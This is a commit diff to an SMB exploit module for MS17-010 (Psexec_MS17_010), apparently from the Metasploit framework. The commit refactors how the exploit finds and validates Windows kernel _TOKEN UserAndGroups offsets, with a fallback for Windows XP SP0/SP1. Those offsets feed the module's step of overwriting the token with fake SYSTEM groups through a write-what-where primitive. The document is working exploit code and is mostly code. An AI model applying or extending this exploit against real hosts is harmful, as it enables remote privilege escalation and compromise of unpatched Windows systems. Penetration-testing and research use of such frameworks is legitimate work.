more robust Windows XP SP0/SP1 fix
parent
a9fa1b6a4d
commit
d5d3769517
|
@ -126,33 +126,10 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
|
|||
print_status("TOKEN data = #{bin_to_hex(tokenData)}")
|
||||
end
|
||||
|
||||
userAndGroupCount = tokenData[@ctx['TOKEN_USER_GROUP_CNT_OFFSET']..-1].unpack("V")[0] #unpack_from('<I', tokenData, info['TOKEN_USER_GROUP_CNT_OFFSET'])[0]
|
||||
userAndGroupsAddr = tokenData[@ctx['TOKEN_USER_GROUP_ADDR_OFFSET']..-1].unpack(fmt)[0] #unpack_from('<'+fmt, tokenData, info['TOKEN_USER_GROUP_ADDR_OFFSET'])[0]
|
||||
userAndGroupsAddr, userAndGroupCount = get_group_data_from_token(tokenData)
|
||||
|
||||
if @ctx['os'] == 'WINXP' and @ctx['arch'] == 'x86'
|
||||
if userAndGroupCount > 10 or userAndGroupCount == 0 # check NULL too
|
||||
print_error("Bad TOKEN offsets detected (group count = #{userAndGroupCount}), performing workaround...")
|
||||
@ctx['TOKEN_USER_GROUP_CNT_OFFSET'] = @ctx['TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1']
|
||||
@ctx['TOKEN_USER_GROUP_ADDR_OFFSET'] = @ctx['TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1']
|
||||
vprint_status("Overwriting _TOKEN UserAndGroups (#{userAndGroupsAddr.to_s(16)})...")
|
||||
|
||||
userAndGroupCount = tokenData[@ctx['TOKEN_USER_GROUP_CNT_OFFSET']..-1].unpack("V")[0]
|
||||
userAndGroupsAddr = tokenData[@ctx['TOKEN_USER_GROUP_ADDR_OFFSET']..-1].unpack(fmt)[0]
|
||||
|
||||
if datastore['DBGTRACE']
|
||||
print_status("New TOKEN offsets (group count = #{userAndGroupCount})")
|
||||
end
|
||||
|
||||
# hopefully its not bad anymore
|
||||
if userAndGroupCount > 10 or userAndGroupCount == 0 # check NULL too
|
||||
raise MS17_010_Error, "Bad TOKEN offsets after workround (group count = #{userAndGroupCount})... Abort > BSOD"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
vprint_status("UserAndGroupCount: 0x#{userAndGroupCount.to_s}")
|
||||
vprint_status("UserAndGroupsAddr: 0x#{userAndGroupsAddr.to_s(16)}")
|
||||
|
||||
vprint_status('Overwriting token UserAndGroups...')
|
||||
# modify UserAndGroups info
|
||||
fakeUserAndGroupCount, fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups(userAndGroupCount, userAndGroupsAddr)
|
||||
if fakeUserAndGroupCount != userAndGroupCount
|
||||
|
@ -188,6 +165,73 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
|
|||
|
||||
end
|
||||
|
||||
def validate_token_offset(tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset)
|
||||
# struct _TOKEN:
|
||||
# ...
|
||||
# ULONG UserAndGroupCount; // Ro: 4-Bytes
|
||||
# ULONG RestrictedSidCount; // Ro: 4-Bytes
|
||||
# ...
|
||||
# PSID_AND_ATTRIBUTES UserAndGroups; // Wr: sizeof(void*)
|
||||
# PSID_AND_ATTRIBUTES RestrictedSids; // Ro: sizeof(void*)
|
||||
# ...
|
||||
|
||||
userAndGroupCount, restrictedSidCount = tokenData[userAndGroupCountOffset..-1].unpack('VV')
|
||||
userAndGroupsAddr, restrictedSids = tokenData[userAndGroupsAddrOffset..-1].unpack(@ctx['PTR_FMT']*2)
|
||||
|
||||
if datastore['DBGTRACE']
|
||||
print_status("userAndGroupCount: 0x#{userAndGroupCount.to_s(16)}")
|
||||
print_status("userAndGroupsAddr: 0x#{userAndGroupsAddr.to_s(16)}")
|
||||
print_status("RestrictedSids: 0x#{restrictedSids.to_s(16)}")
|
||||
print_status("RestrictedSidCount: 0x#{restrictedSidCount.to_s(16)}")
|
||||
end
|
||||
|
||||
# RestrictedSidCount MUST be 0
|
||||
# RestrictedSids MUST be NULL
|
||||
#
|
||||
# userandGroupCount must NOT be 0
|
||||
# userandGroupsAddr must NOT be NULL
|
||||
#
|
||||
# Could also add a failure point here if userAndGroupCount >= x
|
||||
|
||||
success = true
|
||||
|
||||
if restrictedSidCount != 0 or restrictedSids != 0 or userAndGroupCount == 0 or userAndGroupsAddr == 0
|
||||
print_error('Bad TOKEN_USER_GROUP offsets detected while parsing tokenData!')
|
||||
success = false
|
||||
end
|
||||
|
||||
return success, userAndGroupCount, userAndGroupsAddr
|
||||
end
|
||||
|
||||
def get_group_data_from_token(tokenData)
|
||||
|
||||
# try with default offsets
|
||||
success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(tokenData, @ctx['TOKEN_USER_GROUP_CNT_OFFSET'], @ctx['TOKEN_USER_GROUP_ADDR_OFFSET'])
|
||||
|
||||
# hack to fix XP SP0 and SP1
|
||||
# I will avoid over-engineering a more elegant solution and leave this as a hack,
|
||||
# since XP SP0 and SP1 is the only edge case in a LOT of testing!
|
||||
if not success and @ctx['os'] == 'WINXP' and @ctx['arch'] == 'x86'
|
||||
print_status('Attempting WINXP SP0/SP1 x86 TOKEN_USER_GROUP workaround')
|
||||
|
||||
# update with hack offsets
|
||||
@ctx['TOKEN_USER_GROUP_CNT_OFFSET'] = @ctx['TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1']
|
||||
@ctx['TOKEN_USER_GROUP_ADDR_OFFSET'] = @ctx['TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1']
|
||||
|
||||
# try again with hack offsets
|
||||
success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(tokenData, @ctx['TOKEN_USER_GROUP_CNT_OFFSET'], @ctx['TOKEN_USER_GROUP_ADDR_OFFSET'])
|
||||
end
|
||||
|
||||
# still no good. Abort because something is wrong
|
||||
if not success
|
||||
raise MS17_010_Error, 'Bad TOKEN_USER_GROUP offsets. Abort > BSOD'
|
||||
end
|
||||
|
||||
# token parsed and validated
|
||||
return userAndGroupsAddr, userAndGroupCount
|
||||
end
|
||||
|
||||
|
||||
def write_what_where(what, where)
|
||||
if where == 0
|
||||
raise MS17_010_Error, 'Attempted to write to a NULL pointer!'
|
||||
|
|
Loading…
Reference in New Issue